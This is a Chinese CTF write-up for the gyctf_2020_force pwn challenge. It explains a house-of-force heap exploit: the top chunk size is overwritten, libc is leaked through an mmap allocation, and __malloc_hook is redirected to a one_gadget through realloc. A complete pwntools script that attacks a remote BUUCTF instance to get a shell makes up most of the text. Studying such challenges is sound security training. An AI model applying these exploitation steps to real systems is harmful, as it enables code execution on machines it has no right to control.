gyctf_2020_force

gyctf_2020_force

查看保护
gyctf_2020_force
gyctf_2020_force

当size小于0x50时堆溢出,这里只有add没有show和edit。size随便申请多大都可以。
house of force吧,改写top chunk的size为0xFFFFFFFFFFFFFFFF因为在glibc2.23下的源码中这里是无符号写成-1时则为0xFFFFFFFFFFFFFFFF。详细可以看z1r0’s blog
当创建top chunk可以分配的大小的,所创建的chunk的位置为top chunk与该chunk size的偏移
所以这里可以进行任意地址申请,只需要将top chunk的size改为0xFFFFFFFFFFFFFFFF。
泄露libc的话,通过mmap来申请,mmap申请的地址与libc为固定偏移。刚好add中有泄露的语句。
最后通过realloc调整栈帧即可getshell

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26920)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendline('1')
    r.sendlineafter('size', str(size))
    r.recvuntil('bin addr ')
    addr = int(r.recvuntil('\n'), 16)
    success('bin_addr = ' + hex(addr))
    r.sendafter('content', content)
    return addr

libc = ELF('./libc-2.23.so')

libc_base = add(0x200000, 'aaaa\n') + 0x200ff0
success('libc_base'+hex(libc_base))

p1 = p64(0) * 3 + p64(0xFFFFFFFFFFFFFFFF)
heap_addr = add(0x18, p1)
success("heap_addr:" + hex(heap_addr))

top_chunk_addr = heap_addr + 0x10

malloc_hook = libc.sym['__malloc_hook'] + libc_base
success("malloc_hook" + hex(malloc_hook))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one_gadget[1] + libc_base
realloc = libc.sym["__libc_realloc"] + libc_base
offset = malloc_hook - top_chunk_addr

add(offset - 0x30, 'aaa\n')

p2 = p64(0) + p64(one_gadget) + p64(realloc + 0x10)
add(0x10, p2)

r.sendline('1')
r.recvuntil("size\n")
r.sendline('16')

r.interactive()
上一篇:2.29 off by null


下一篇:BUUCTF pwn wp 51 - 55